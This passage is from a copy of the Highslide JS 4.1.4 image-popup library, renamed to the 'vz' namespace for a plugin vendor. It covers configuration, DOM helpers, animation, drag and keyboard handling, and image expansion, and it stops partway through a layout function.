/******************************************************************************
Name:    highslide JS
Version: 4.1.4 (April 17 2009)
Config:  default
Author:  Torstein Hønsi


Licence:
highslide JS is licensed under a Creative Commons Attribution-NonCommercial 2.5
License (http://creativecommons.org/licenses/by-nc/2.5/).

This copy has been licensed for commerical release only with Viva plugins by Mediatricks

******************************************************************************/
var vz = {
// Language strings
lang : {
	cssDirection: 'ltr',
	loadingText : 'Loading...',
	loadingTitle : 'Click to cancel',
	focusTitle : 'Click to bring to front',
	fullExpandTitle : 'Expand to actual size (f)',
	creditsText : '',
	creditsTitle : '',
	restoreTitle : 'Click to close image, click and drag to move. Use arrow keys for next and previous.'
},
// See http://highslide.com/ref for examples of settings
graphicsDir : 'highslide/graphics/',
expandCursor : 'zoomin.cur', // null disables
restoreCursor : 'zoomout.cur', // null disables
expandDuration : 250, // milliseconds
restoreDuration : 250,
marginLeft : 15,
marginRight : 15,
marginTop : 15,
marginBottom : 15,
zIndexCounter : 1001, // adjust to other absolutely positioned elements
loadingOpacity : 0.75,
allowMultipleInstances: true,
numberOfImagesToPreload : 0,
outlineWhileAnimating : 2, // 0 = never, 1 = always, 2 = HTML only
outlineStartOffset : 3, // ends at 10
padToMinWidth : false, // pad the popup width to make room for wide caption
fullExpandPosition : 'bottom right',
fullExpandOpacity : 1,
showCredits : true, // you can set this to false if you want
creditsHref : '',
enableKeyListener : true,
openerTagNames : ['a'], // Add more to allow slideshow indexing

dragByHeading: true,
minWidth: 200,
minHeight: 200,
allowSizeReduction: true, // allow the image to reduce to fit client size. If false, this overrides minWidth and minHeight
outlineType : 'drop-shadow', // set null to disable outlines
wrapperClassName : 'highslide-wrapper', // for enhanced css-control
// END OF YOUR SETTINGS


// declare internal properties
preloadTheseImages : [],
continuePreloading: true,
expanders : [],
overrides : [
	'allowSizeReduction',
	'useBox',
	'outlineType',
	'outlineWhileAnimating',
	'captionId',
	'captionText',
	'captionEval',
	'captionOverlay',
	'headingId',
	'headingText',
	'headingEval',
	'headingOverlay',
	'creditsPosition',
	'dragByHeading',

	'width',
	'height',

	'wrapperClassName',
	'minWidth',
	'minHeight',
	'maxWidth',
	'maxHeight',
	'slideshowGroup',
	'easing',
	'easingClose',
	'fadeInOut',
	'src'
],
overlays : [],
idCounter : 0,
oPos : {
	x: ['leftpanel', 'left', 'center', 'right', 'rightpanel'],
	y: ['above', 'top', 'middle', 'bottom', 'below']
},
mouse: {},
headingOverlay: {},
captionOverlay: {},
timers : [],

pendingOutlines : {},
clones : {},
onReady: [],
uaVersion: parseFloat((navigator.userAgent.toLowerCase().match( /.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/ ) || [0,'0'])[1]),
ie : (document.all && !window.opera),
safari : /Safari/.test(navigator.userAgent),
geckoMac : /Macintosh.+rv:1\.[0-8].+Gecko/.test(navigator.userAgent),

$ : function (id) {
	if (id) return document.getElementById(id);
},

push : function (arr, val) {
	arr[arr.length] = val;
},

createElement : function (tag, attribs, styles, parent, nopad) {
	var el = document.createElement(tag);
	if (attribs) vz.extend(el, attribs);
	if (nopad) vz.setStyles(el, {padding: 0, border: 'none', margin: 0});
	if (styles) vz.setStyles(el, styles);
	if (parent) parent.appendChild(el);
	return el;
},

extend : function (el, attribs) {
	for (var x in attribs) el[x] = attribs[x];
	return el;
},

setStyles : function (el, styles) {
	for (var x in styles) {
		if (vz.ie && x == 'opacity') {
			if (styles[x] > 0.99) el.style.removeAttribute('filter');
			else el.style.filter = 'alpha(opacity='+ (styles[x] * 100) +')';
		}
		else el.style[x] = styles[x];
	}
},
animate: function(el, prop, opt) {
	var start,
		end,
		unit;
	if (typeof opt != 'object' || opt === null) {
		var args = arguments;
		opt = {
			duration: args[2],
			easing: args[3],
			complete: args[4]
		};
	}
	if (typeof opt.duration != 'number') opt.duration = 250;
	opt.easing = Math[opt.easing] || Math.easeInQuad;
	opt.curAnim = vz.extend({}, prop);
	for (var name in prop) {
		var e = new vz.fx(el, opt , name );

		start = parseFloat(vz.css(el, name)) || 0;
		end = parseFloat(prop[name]);
		unit = name != 'opacity' ? 'px' : '';

		e.custom( start, end, unit );
	}
},
css: function(el, prop) {
	if (document.defaultView) {
		return document.defaultView.getComputedStyle(el, null).getPropertyValue(prop);

	} else {
		if (prop == 'opacity') prop = 'filter';
		var val = el.currentStyle[prop.replace(/\-(\w)/g, function (a, b){ return b.toUpperCase(); })];
		if (prop == 'filter')
			val = val.replace(/alpha\(opacity=([0-9]+)\)/,
				function (a, b) { return b / 100 });
		return val === '' ? 1 : val;
	}
},

getPageSize : function () {
	var d = document, w = window, iebody = d.compatMode && d.compatMode != 'BackCompat'
		? d.documentElement : d.body;

	var width = vz.ie ? iebody.clientWidth :
			(d.documentElement.clientWidth || self.innerWidth),
		height = vz.ie ? iebody.clientHeight : self.innerHeight;

	return {
		width: width,
		height: height,
		scrollLeft: vz.ie ? iebody.scrollLeft : pageXOffset,
		scrollTop: vz.ie ? iebody.scrollTop : pageYOffset
	}
},

getPosition : function(el)	{
	var p = { x: el.offsetLeft, y: el.offsetTop };
	while (el.offsetParent)	{
		el = el.offsetParent;
		p.x += el.offsetLeft;
		p.y += el.offsetTop;
		if (el != document.body && el != document.documentElement) {
			p.x -= el.scrollLeft;
			p.y -= el.scrollTop;
		}
	}
	return p;
},

expand : function(a, params, custom, type) {
	if (!a) a = vz.createElement('a', null, { display: 'none' }, vz.container);
	if (typeof a.getParams == 'function') return params;
	try {
		new vz.Expander(a, params, custom);
		return false;
	} catch (e) { return true; }
},


focusTopmost : function() {
	var topZ = 0,
		topmostKey = -1,
		expanders = vz.expanders,
		exp,
		zIndex;
	for (var i = 0; i < expanders.length; i++) {
		exp = expanders[i];
		if (exp) {
			zIndex = exp.wrapper.style.zIndex;
			if (zIndex && zIndex > topZ) {
				topZ = zIndex;
				topmostKey = i;
			}
		}
	}
	if (topmostKey == -1) vz.focusKey = -1;
	else expanders[topmostKey].focus();
},

getParam : function (a, param) {
	a.getParams = a.onclick;
	var p = a.getParams ? a.getParams() : null;
	a.getParams = null;

	return (p && typeof p[param] != 'undefined') ? p[param] :
		(typeof vz[param] != 'undefined' ? vz[param] : null);
},

getSrc : function (a) {
	var src = vz.getParam(a, 'src');
	if (src) return src;
	return a.href;
},

getNode : function (id) {
	var node = vz.$(id), clone = vz.clones[id], a = {};
	if (!node && !clone) return null;
	if (!clone) {
		clone = node.cloneNode(true);
		clone.id = '';
		vz.clones[id] = clone;
		return node;
	} else {
		return clone.cloneNode(true);
	}
},

discardElement : function(d) {
	vz.garbageBin.appendChild(d);
	vz.garbageBin.innerHTML = '';
},
transit : function (adj, exp) {
	var last = exp = exp || vz.getExpander();
	if (vz.upcoming) return false;
	else vz.last = last;
	try {
		vz.upcoming = adj;
		adj.onclick();
	} catch (e){
		vz.last = vz.upcoming = null;
	}
	try {
		exp.close();
	} catch (e) {}
	return false;
},

previousOrNext : function (el, op) {
	var exp = vz.getExpander(el);
	if (exp) {
		adj = exp.getAdjacentAnchor(op);
		return vz.transit(adj, exp);
	} else return false;
},

previous : function (el) {
	return vz.previousOrNext(el, -1);
},

next : function (el) {
	return vz.previousOrNext(el, 1);
},

keyHandler : function(e) {
	if (!e) e = window.event;
	if (!e.target) e.target = e.srcElement; // ie
	if (typeof e.target.form != 'undefined') return true; // form element has focus
	var exp = vz.getExpander();

	var op = null;
	switch (e.keyCode) {
		case 70: // f
			if (exp) exp.doFullExpand();
			return true;
		case 32: // Space
		case 34: // Page Down
		case 39: // Arrow right
		case 40: // Arrow down
			op = 1;
			break;
		case 8:  // Backspace
		case 33: // Page Up
		case 37: // Arrow left
		case 38: // Arrow up
			op = -1;
			break;
		case 27: // Escape
		case 13: // Enter
			op = 0;
	}
	if (op !== null) {vz.removeEventListener(document, window.opera ? 'keypress' : 'keydown', vz.keyHandler);
		if (!vz.enableKeyListener) return true;

		if (e.preventDefault) e.preventDefault();
    	else e.returnValue = false;
    	if (exp) {
			if (op == 0) {
				exp.close();
			} else {
				vz.previousOrNext(exp.key, op);
			}
			return false;
		}
	}
	return true;
},


registerOverlay : function (overlay) {
	vz.push(vz.overlays, vz.extend(overlay, { vzId: 'vzId'+ vz.idCounter++ } ));
},


getWrapperKey : function (element, expOnly) {
	var el, re = /^highslide-wrapper-([0-9]+)$/;
	// 1. look in open expanders
	el = element;
	while (el.parentNode)	{
		if (el.id && re.test(el.id)) return el.id.replace(re, "$1");
		el = el.parentNode;
	}
	// 2. look in thumbnail
	if (!expOnly) {
		el = element;
		while (el.parentNode)	{
			if (el.tagName && vz.isvzAnchor(el)) {
				for (var key = 0; key < vz.expanders.length; key++) {
					var exp = vz.expanders[key];
					if (exp && exp.a == el) return key;
				}
			}
			el = el.parentNode;
		}
	}
	return null;
},

getExpander : function (el, expOnly) {
	if (typeof el == 'undefined') return vz.expanders[vz.focusKey] || null;
	if (typeof el == 'number') return vz.expanders[el] || null;
	if (typeof el == 'string') el = vz.$(el);
	return vz.expanders[vz.getWrapperKey(el, expOnly)] || null;
},

isvzAnchor : function (a) {
	return (a.onclick && a.onclick.toString().replace(/\s/g, ' ').match(/vz.(htmlE|e)xpand/));
},

reOrder : function () {
	for (var i = 0; i < vz.expanders.length; i++)
		if (vz.expanders[i] && vz.expanders[i].isExpanded) vz.focusTopmost();
},

mouseClickHandler : function(e)
{
	if (!e) e = window.event;
	if (e.button > 1) return true;
	if (!e.target) e.target = e.srcElement;

	var el = e.target;
	while (el.parentNode
		&& !(/highslide-(image|move|html|resize)/.test(el.className)))
	{
		el = el.parentNode;
	}
	var exp = vz.getExpander(el);
	if (exp && (exp.isClosing || !exp.isExpanded)) return true;

	if (exp && e.type == 'mousedown') {
		if (e.target.form) return true;
		var match = el.className.match(/highslide-(image|move|resize)/);
		if (match) {
			vz.dragArgs = { exp: exp , type: match[1], left: exp.x.pos, width: exp.x.size, top: exp.y.pos,
				height: exp.y.size, clickX: e.clientX, clickY: e.clientY };


			vz.addEventListener(document, 'mousemove', vz.dragHandler);
			if (e.preventDefault) e.preventDefault(); // FF

			if (/highslide-(image|html)-blur/.test(exp.content.className)) {
				exp.focus();
				vz.hasFocused = true;
			}
			return false;
		}
	} else if (e.type == 'mouseup') {

		vz.removeEventListener(document, 'mousemove', vz.dragHandler);

		if (vz.dragArgs) {
			if (vz.styleRestoreCursor && vz.dragArgs.type == 'image')
				vz.dragArgs.exp.content.style.cursor = vz.styleRestoreCursor;
			var hasDragged = vz.dragArgs.hasDragged;

			if (!hasDragged &&!vz.hasFocused && !/(move|resize)/.test(vz.dragArgs.type)) {
				exp.close();
			}
			else if (hasDragged || (!hasDragged && vz.hasHtmlExpanders)) {
				vz.dragArgs.exp.doShowHide('hidden');
			}

			vz.hasFocused = false;
			vz.dragArgs = null;

		} else if (/highslide-image-blur/.test(el.className)) {
			el.style.cursor = vz.styleRestoreCursor;
		}
	}
	return false;
},

dragHandler : function(e)
{
	if (!vz.dragArgs) return true;
	if (!e) e = window.event;
	var a = vz.dragArgs, exp = a.exp;

	a.dX = e.clientX - a.clickX;
	a.dY = e.clientY - a.clickY;

	var distance = Math.sqrt(Math.pow(a.dX, 2) + Math.pow(a.dY, 2));
	if (!a.hasDragged) a.hasDragged = (a.type != 'image' && distance > 0)
		|| (distance > (vz.dragSensitivity || 5));

	if (a.hasDragged && e.clientX > 5 && e.clientY > 5) {

		if (a.type == 'resize') exp.resize(a);
		else {
			exp.moveTo(a.left + a.dX, a.top + a.dY);
			if (a.type == 'image') exp.content.style.cursor = 'move';
		}
	}
	return false;
},

wrapperMouseHandler : function (e) {
	try {
		if (!e) e = window.event;
		var over = /mouseover/i.test(e.type);
		if (!e.target) e.target = e.srcElement; // ie
		if (vz.ie) e.relatedTarget =
			over ? e.fromElement : e.toElement; // ie
		var exp = vz.getExpander(e.target);
		if (!exp.isExpanded) return;
		if (!exp || !e.relatedTarget || vz.getExpander(e.relatedTarget, true) == exp
			|| vz.dragArgs) return;
		for (var i = 0; i < exp.overlays.length; i++) (function() {
			var o = vz.$('vzId'+ exp.overlays[i]);
			if (o && o.hideOnMouseOut) {
				if (over) vz.setStyles(o, { visibility: 'visible' });
				vz.animate(o, { opacity: over ? o.opacity : 0 }, o.dur);
			}
		})();
	} catch (e) {}
},
addEventListener : function (el, event, func) {
	if (el == document && event == 'ready') vz.push(vz.onReady, func);
	try {
		el.addEventListener(event, func, false);
	} catch (e) {
		try {
			el.detachEvent('on'+ event, func);
			el.attachEvent('on'+ event, func);
		} catch (e) {
			el['on'+ event] = func;
		}
	}
},

removeEventListener : function (el, event, func) {
	try {
		el.removeEventListener(event, func, false);
	} catch (e) {
		try {
			el.detachEvent('on'+ event, func);
		} catch (e) {
			el['on'+ event] = null;
		}
	}
},

preloadFullImage : function (i) {
	if (vz.continuePreloading && vz.preloadTheseImages[i] && vz.preloadTheseImages[i] != 'undefined') {
		var img = document.createElement('img');
		img.onload = function() {
			img = null;
			vz.preloadFullImage(i + 1);
		};
		img.src = vz.preloadTheseImages[i];
	}
},
preloadImages : function (number) {
	if (number && typeof number != 'object') vz.numberOfImagesToPreload = number;

	var arr = vz.getAnchors();
	for (var i = 0; i < arr.images.length && i < vz.numberOfImagesToPreload; i++) {
		vz.push(vz.preloadTheseImages, vz.getSrc(arr.images[i]));
	}

	// preload outlines
	if (vz.outlineType)	new vz.Outline(vz.outlineType, function () { vz.preloadFullImage(0)} );
	else

	vz.preloadFullImage(0);

	// preload cursor
	if (vz.restoreCursor) var cur = vz.createElement('img', { src: vz.graphicsDir + vz.restoreCursor });
},


init : function () {
	if (!vz.container) {

		vz.page = vz.getPageSize();
		vz.ieLt7 = vz.ie && vz.uaVersion < 7;
		for (var x in vz.langDefaults) {
			if (typeof vz[x] != 'undefined') vz.lang[x] = vz[x];
			else if (typeof vz.lang[x] == 'undefined' && typeof vz.langDefaults[x] != 'undefined')
				vz.lang[x] = vz.langDefaults[x];
		}

		vz.container = vz.createElement('div', {
				className: 'highslide-container'
			}, {
				position: 'absolute',
				left: 0,
				top: 0,
				width: '100%',
				zIndex: vz.zIndexCounter,
				direction: 'ltr'
			},
			document.body,
			true
		);
		vz.loading = vz.createElement('a', {
				className: 'highslide-loading',
				title: vz.lang.loadingTitle,
				innerHTML: vz.lang.loadingText,
				href: 'javascript:;'
			}, {
				position: 'absolute',
				top: '-9999px',
				opacity: vz.loadingOpacity,
				zIndex: 1
			}, vz.container
		);
		vz.garbageBin = vz.createElement('div', null, { display: 'none' }, vz.container);

		// http://www.robertpenner.com/easing/
		Math.linearTween = function (t, b, c, d) {
			return c*t/d + b;
		};
		Math.easeInQuad = function (t, b, c, d) {
			return c*(t/=d)*t + b;
		};

		vz.hideSelects = vz.ieLt7;
		vz.hideIframes = ((window.opera && vz.uaVersion < 9) || navigator.vendor == 'KDE'
			|| (vz.ie && vz.uaVersion < 5.5));
	}
},
ready : function() {
	if (vz.isReady) return;
	vz.isReady = true;

	for (var i = 0; i < vz.onReady.length; i++) vz.onReady[i]();
},

updateAnchors : function() {
	var el, els, all = [], images = [],groups = {}, re;

	for (var i = 0; i < vz.openerTagNames.length; i++) {
		els = document.getElementsByTagName(vz.openerTagNames[i]);
		for (var j = 0; j < els.length; j++) {
			el = els[j];
			re = vz.isvzAnchor(el);
			if (re) {
				vz.push(all, el);
				if (re[0] == 'vz.expand') vz.push(images, el);
				var g = vz.getParam(el, 'slideshowGroup') || 'none';
				if (!groups[g]) groups[g] = [];
				vz.push(groups[g], el);
			}
		}
	}
	vz.anchors = { all: all, groups: groups, images: images };
	return vz.anchors;

},

getAnchors : function() {
	return vz.anchors || vz.updateAnchors();
},


close : function(el) {
	var exp = vz.getExpander(el);
	if (exp) exp.close();
	return false;
}
}; // end vz object
vz.fx = function( elem, options, prop ){
	this.options = options;
	this.elem = elem;
	this.prop = prop;

	if (!options.orig) options.orig = {};
};
vz.fx.prototype = {
	update: function(){
		(vz.fx.step[this.prop] || vz.fx.step._default)(this);

		if (this.options.step)
			this.options.step.call(this.elem, this.now, this);

	},
	custom: function(from, to, unit){
		this.startTime = (new Date()).getTime();
		this.start = from;
		this.end = to;
		this.unit = unit;// || this.unit || "px";
		this.now = this.start;
		this.pos = this.state = 0;

		var self = this;
		function t(gotoEnd){
			return self.step(gotoEnd);
		}

		t.elem = this.elem;

		if ( t() && vz.timers.push(t) == 1 ) {
			vz.timerId = setInterval(function(){
				var timers = vz.timers;

				for ( var i = 0; i < timers.length; i++ )
					if ( !timers[i]() )
						timers.splice(i--, 1);

				if ( !timers.length ) {
					clearInterval(vz.timerId);
				}
			}, 13);
		}
	},
	step: function(gotoEnd){
		var t = (new Date()).getTime();
		if ( gotoEnd || t >= this.options.duration + this.startTime ) {
			this.now = this.end;
			this.pos = this.state = 1;
			this.update();

			this.options.curAnim[ this.prop ] = true;

			var done = true;
			for ( var i in this.options.curAnim )
				if ( this.options.curAnim[i] !== true )
					done = false;

			if ( done ) {
				if (this.options.complete) this.options.complete.call(this.elem);
			}
			return false;
		} else {
			var n = t - this.startTime;
			this.state = n / this.options.duration;
			this.pos = this.options.easing(n, 0, 1, this.options.duration);
			this.now = this.start + ((this.end - this.start) * this.pos);
			this.update();
		}
		return true;
	}

};

vz.extend( vz.fx, {
	step: {

		opacity: function(fx){
			vz.setStyles(fx.elem, { opacity: fx.now });
		},

		_default: function(fx){
			if ( fx.elem.style && fx.elem.style[ fx.prop ] != null )
				fx.elem.style[ fx.prop ] = fx.now + fx.unit;
			else
				fx.elem[ fx.prop ] = fx.now;
		}
	}
});

vz.Outline =  function (outlineType, onLoad) {
	this.onLoad = onLoad;
	this.outlineType = outlineType;
	var v = vz.uaVersion, tr;

	this.hasAlphaImageLoader = vz.ie && v >= 5.5 && v < 7;
	if (!outlineType) {
		if (onLoad) onLoad();
		return;
	}

	vz.init();
	this.table = vz.createElement(
		'table', {
			cellSpacing: 0
		}, {
			visibility: 'hidden',
			position: 'absolute',
			borderCollapse: 'collapse',
			width: 0
		},
		vz.container,
		true
	);
	var tbody = vz.createElement('tbody', null, null, this.table, 1);

	this.td = [];
	for (var i = 0; i <= 8; i++) {
		if (i % 3 == 0) tr = vz.createElement('tr', null, { height: 'auto' }, tbody, true);
		this.td[i] = vz.createElement('td', null, null, tr, true);
		var style = i != 4 ? { lineHeight: 0, fontSize: 0} : { position : 'relative' };
		vz.setStyles(this.td[i], style);
	}
	this.td[4].className = outlineType +' highslide-outline';

	this.preloadGraphic();
};

vz.Outline.prototype = {
preloadGraphic : function () {
	var src = vz.graphicsDir + (vz.outlinesDir || "outlines/")+ this.outlineType +".png";

	var appendTo = vz.safari ? vz.container : null;
	this.graphic = vz.createElement('img', null, { position: 'absolute',
		top: '-9999px' }, appendTo, true); // for onload trigger

	var pThis = this;
	this.graphic.onload = function() { pThis.onGraphicLoad(); };

	this.graphic.src = src;
},

onGraphicLoad : function () {
	var o = this.offset = this.graphic.width / 4,
		pos = [[0,0],[0,-4],[-2,0],[0,-8],0,[-2,-8],[0,-2],[0,-6],[-2,-2]],
		dim = { height: (2*o) +'px', width: (2*o) +'px' };
	for (var i = 0; i <= 8; i++) {
		if (pos[i]) {
			if (this.hasAlphaImageLoader) {
				var w = (i == 1 || i == 7) ? '100%' : this.graphic.width +'px';
				var div = vz.createElement('div', null, { width: '100%', height: '100%', position: 'relative', overflow: 'hidden'}, this.td[i], true);
				vz.createElement ('div', null, {
						filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader(sizingMethod=scale, src='"+ this.graphic.src + "')",
						position: 'absolute',
						width: w,
						height: this.graphic.height +'px',
						left: (pos[i][0]*o)+'px',
						top: (pos[i][1]*o)+'px'
					},
				div,
				true);
			} else {
				vz.setStyles(this.td[i], { background: 'url('+ this.graphic.src +') '+ (pos[i][0]*o)+'px '+(pos[i][1]*o)+'px'});
			}

			if (window.opera && (i == 3 || i ==5))
				vz.createElement('div', null, dim, this.td[i], true);

			vz.setStyles (this.td[i], dim);
		}
	}
	this.graphic = null;
	if (vz.pendingOutlines[this.outlineType]) vz.pendingOutlines[this.outlineType].destroy();
	vz.pendingOutlines[this.outlineType] = this;
	if (this.onLoad) this.onLoad();
},

setPosition : function (pos, offset, vis, dur, easing) {
	var exp = this.exp,
		stl = exp.wrapper.style,
		offset = offset || 0,
		pos = pos || {
			x: exp.x.pos + offset,
			y: exp.y.pos + offset,
			w: exp.x.get('wsize') - 2 * offset,
			h: exp.y.get('wsize') - 2 * offset
		};
	if (vis) this.table.style.visibility = (pos.h >= 4 * this.offset)
		? 'visible' : 'hidden';
	vz.setStyles(this.table, {
		left: (pos.x - this.offset) +'px',
		top: (pos.y - this.offset) +'px',
		width: (pos.w + 2 * this.offset) +'px'
	});

	pos.w -= 2 * this.offset;
	pos.h -= 2 * this.offset;
	vz.setStyles (this.td[4], {
		width: pos.w >= 0 ? pos.w +'px' : 0,
		height: pos.h >= 0 ? pos.h +'px' : 0
	});
	if (this.hasAlphaImageLoader) this.td[3].style.height
		= this.td[5].style.height = this.td[4].style.height;

},

destroy : function(hide) {
	if (hide) this.table.style.visibility = 'hidden';
	else vz.discardElement(this.table);
}
};

vz.Dimension = function(exp, dim) {
	this.exp = exp;
	this.dim = dim;
	this.ucwh = dim == 'x' ? 'Width' : 'Height';
	this.wh = this.ucwh.toLowerCase();
	this.uclt = dim == 'x' ? 'Left' : 'Top';
	this.lt = this.uclt.toLowerCase();
	this.ucrb = dim == 'x' ? 'Right' : 'Bottom';
	this.rb = this.ucrb.toLowerCase();
	this.p1 = this.p2 = 0;
};
vz.Dimension.prototype = {
get : function(key) {
	switch (key) {
		case 'loadingPos':
			return this.tpos + this.tb + (this.t - vz.loading['offset'+ this.ucwh]) / 2;
		case 'wsize':
			return this.size + 2 * this.cb + this.p1 + this.p2;
		case 'fitsize':
			return this.clientSize - this.marginMin - this.marginMax;
		case 'maxsize':
			return this.get('fitsize') - 2 * this.cb - this.p1 - this.p2 ;
		case 'opos':
			return this.pos - (this.exp.outline ? this.exp.outline.offset : 0);
		case 'osize':
			return this.get('wsize') + (this.exp.outline ? 2*this.exp.outline.offset : 0);
		case 'imgPad':
			return this.imgSize ? Math.round((this.size - this.imgSize) / 2) : 0;

	}
},
calcBorders: function() {
	// correct for borders
	this.cb = (this.exp.content['offset'+ this.ucwh] - this.t) / 2;
	this.marginMax = vz['margin'+ this.ucrb] + 2 * this.cb;
},
calcThumb: function() {
	this.t = this.exp.el[this.wh] ? parseInt(this.exp.el[this.wh]) :
		this.exp.el['offset'+ this.ucwh];
	this.tpos = this.exp.tpos[this.dim];
	this.tb = (this.exp.el['offset'+ this.ucwh] - this.t) / 2;
	if (this.tpos == 0) {
		this.tpos = (vz.page[this.wh] / 2) + vz.page['scroll'+ this.uclt];
	};
},
calcExpanded: function() {
	var exp = this.exp;
	this.justify = 'auto';


	// size and position
	this.pos = this.tpos - this.cb + this.tb;
	this.size = Math.min(this.full, exp['max'+ this.ucwh] || this.full);
	this.minSize = exp.allowSizeReduction ?
		Math.min(exp['min'+ this.ucwh], this.full) :this.full;
	if (exp.isImage && exp.useBox)	{
		this.size = exp[this.wh];
		this.imgSize = this.full;
	}
	if (this.dim == 'x' && vz.padToMinWidth) this.minSize = exp.minWidth;
	this.marginMin = vz['margin'+ this.uclt];
	this.scroll = vz.page['scroll'+ this.uclt];
	this.clientSize = vz.page[this.wh];
},
setSize: function(i) {
	var exp = this.exp;
	if (exp.isImage && (exp.useBox || vz.padToMinWidth)) {
		this.imgSize = i;
		this.size = Math.max(this.size, this.imgSize);
		exp.content.style[this.lt] = this.get('imgPad')+'px';
	} else
	this.size = i;

	exp.content.style[this.wh] = i +'px';
	exp.wrapper.style[this.wh] = this.get('wsize') +'px';
	if (exp.outline) exp.outline.setPosition();
	if (this.dim == 'x' && exp.overlayBox) exp.sizeOverlayBox(true);
},
setPos: function(i) {
	this.pos = i;
	this.exp.wrapper.style[this.lt] = i +'px';

	if (this.exp.outline) this.exp.outline.setPosition();

}
};

vz.Expander = function(a, params, custom, contentType) {
	if (document.readyState && vz.ie && !vz.isReady) {
		vz.addEventListener(document, 'ready', function() {
			new vz.Expander(a, params, custom, contentType);
		});
		return;
	}
	this.a = a;
	this.custom = custom;
	this.contentType = contentType || 'image';
	this.isImage = !this.isHtml;

	vz.continuePreloading = false;
	this.overlays = [];
	vz.init();
	var key = this.key = vz.expanders.length;
	// override inline parameters
	for (var i = 0; i < vz.overrides.length; i++) {
		var name = vz.overrides[i];
		this[name] = params && typeof params[name] != 'undefined' ?
			params[name] : vz[name];
	}
	if (!this.src) this.src = a.href;

	// get thumb
	var el = (params && params.thumbnailId) ? vz.$(params.thumbnailId) : a;
	el = this.thumb = el.getElementsByTagName('img')[0] || el;
	this.thumbsUserSetId = el.id || a.id;

	// check if already open
	for (var i = 0; i < vz.expanders.length; i++) {
		if (vz.expanders[i] && vz.expanders[i].a == a) {
			vz.expanders[i].focus();
			return false;
		}
	}

	// cancel other
	for (var i = 0; i < vz.expanders.length; i++) {
		if (vz.expanders[i] && vz.expanders[i].thumb != el && !vz.expanders[i].onLoadStarted) {
			vz.expanders[i].cancelLoading();
		}
	}
	vz.expanders[this.key] = this;
	if (!vz.allowMultipleInstances && !vz.upcoming) {
		if (vz.expanders[key-1]) vz.expanders[key-1].close();
		if (typeof vz.focusKey != 'undefined' && vz.expanders[vz.focusKey])
			vz.expanders[vz.focusKey].close();
	}

	// initiate metrics
	this.el = el;
	this.tpos = vz.getPosition(el);
	vz.page = vz.getPageSize();
	var x = this.x = new vz.Dimension(this, 'x');
	x.calcThumb();
	var y = this.y = new vz.Dimension(this, 'y');
	y.calcThumb();
	this.wrapper = vz.createElement(
		'div', {
			id: 'highslide-wrapper-'+ this.key,
			className: this.wrapperClassName
		}, {
			visibility: 'hidden',
			position: 'absolute',
			zIndex: vz.zIndexCounter++
		}, null, true );

	this.wrapper.onmouseover = this.wrapper.onmouseout = vz.wrapperMouseHandler;
	if (this.contentType == 'image' && this.outlineWhileAnimating == 2)
		this.outlineWhileAnimating = 0;

	// get the outline
	if (!this.outlineType) {
		this[this.contentType +'Create']();

	} else if (vz.pendingOutlines[this.outlineType]) {
		this.connectOutline();
		this[this.contentType +'Create']();

	} else {
		this.showLoading();
		var exp = this;
		new vz.Outline(this.outlineType,
			function () {
				exp.connectOutline();
				exp[exp.contentType +'Create']();
			}
		);
	}
	return true;
};

vz.Expander.prototype = {
error : function(e) {
	//alert ('Line '+ e.lineNumber +': '+ e.message);
	window.location.href = this.src;
},

connectOutline : function() {
	var outline = this.outline = vz.pendingOutlines[this.outlineType];
	outline.exp = this;
	outline.table.style.zIndex = this.wrapper.style.zIndex;
	vz.pendingOutlines[this.outlineType] = null;
},

showLoading : function() {
	if (this.onLoadStarted || this.loading) return;

	this.loading = vz.loading;
	var exp = this;
	this.loading.onclick = function() {
		exp.cancelLoading();
	};
	var exp = this,
		l = this.x.get('loadingPos') +'px',
		t = this.y.get('loadingPos') +'px';
	setTimeout(function () {
		if (exp.loading) vz.setStyles(exp.loading, { left: l, top: t, zIndex: vz.zIndexCounter++ })}
	, 100);
},

imageCreate : function() {
	var exp = this;

	var img = document.createElement('img');
    this.content = img;
    img.onload = function () {
    	if (vz.expanders[exp.key]) exp.contentLoaded();
	};
    if (vz.blockRightClick) img.oncontextmenu = function() { return false; };
    img.className = 'highslide-image';
    vz.setStyles(img, {
    	visibility: 'hidden',
    	display: 'block',
    	position: 'absolute',
		maxWidth: '9999px',
		zIndex: 3
	});
    img.title = vz.lang.restoreTitle;
    if (vz.safari) vz.container.appendChild(img);
    if (vz.ie) img.src = 'res://';
	img.src = this.src;

	this.showLoading();
},

contentLoaded : function() {
	try {
		if (!this.content) return;
		this.content.onload = null;
		if (this.onLoadStarted) return;
		else this.onLoadStarted = true;

		var x = this.x, y = this.y;

		if (this.loading) {
			vz.setStyles(this.loading, { top: '-9999px' });
			this.loading = null;
		}
			x.full = this.content.width;
			y.full = this.content.height;

			vz.setStyles(this.content, {
				width: x.t +'px',
				height: y.t +'px'
			});
			this.wrapper.appendChild(this.content);
			vz.container.appendChild(this.wrapper);

		x.calcBorders();
		y.calcBorders();

		vz.setStyles (this.wrapper, {
			left: (x.tpos + x.tb - x.cb) +'px',
			top: (y.tpos + x.tb - y.cb) +'px'
		});
		this.getOverlays();

		var ratio = x.full / y.full;

		x.calcExpanded();
		this.justify(x);

		y.calcExpanded();
		this.justify(y);
		if (this.overlayBox) this.sizeOverlayBox(0, 1);

		if (this.allowSizeReduction) {
				this.correctRatio(ratio);
			if (this.isImage && this.x.full > (this.x.imgSize || this.x.size)) {
				this.createFullExpand();
				if (this.overlays.length == 1) this.sizeOverlayBox();
			}
		}
		this.show();

	} catch (e) {
		this.error(e);
	}
},

justify : function (p, moveOnly) {
	var tgtArr, tgt = p.target, dim = p == this.x ? 'x' : 'y';

		var hasMovedMin = false;

		var allowReduce = p.exp.allowSizeReduction;
			p.pos = Math.round(p.pos - ((p.get('wsize') - p.t) / 2));
		if (p.pos < p.scroll + p.marginMin) {
			p.pos = p.scroll + p.marginMin;
			hasMovedMin = true;
		}
		if (!moveOnly && p.size < p.minSize) {
			p.size = p.minSize;
			allowReduce = false;
		}
		if (p.pos + p.get('wsize') > p.scroll + p.clientSize - p.marginMax) {
			if (!moveOnly && hasMovedMin && allowReduce) {
				p.size = p.get(dim == 'y' ? 'fitsize' : 'maxsize');
			} else if (p.get('wsize') < p.get('fitsize')) {
				p.pos = p.scroll + p.clientSize - p.marginMax - p.get('wsize');
			} else { // image larger than viewport
				p.pos = p.scroll + p.marginMin;
				if (!moveOnly && allowReduce) p.size = p.get(dim == 'y' ? 'fitsize' : 'maxsize');
			}
		}

		if (!moveOnly && p.size < p.minSize) {
			p.size = p.minSize;
			allowReduce = false;
		}



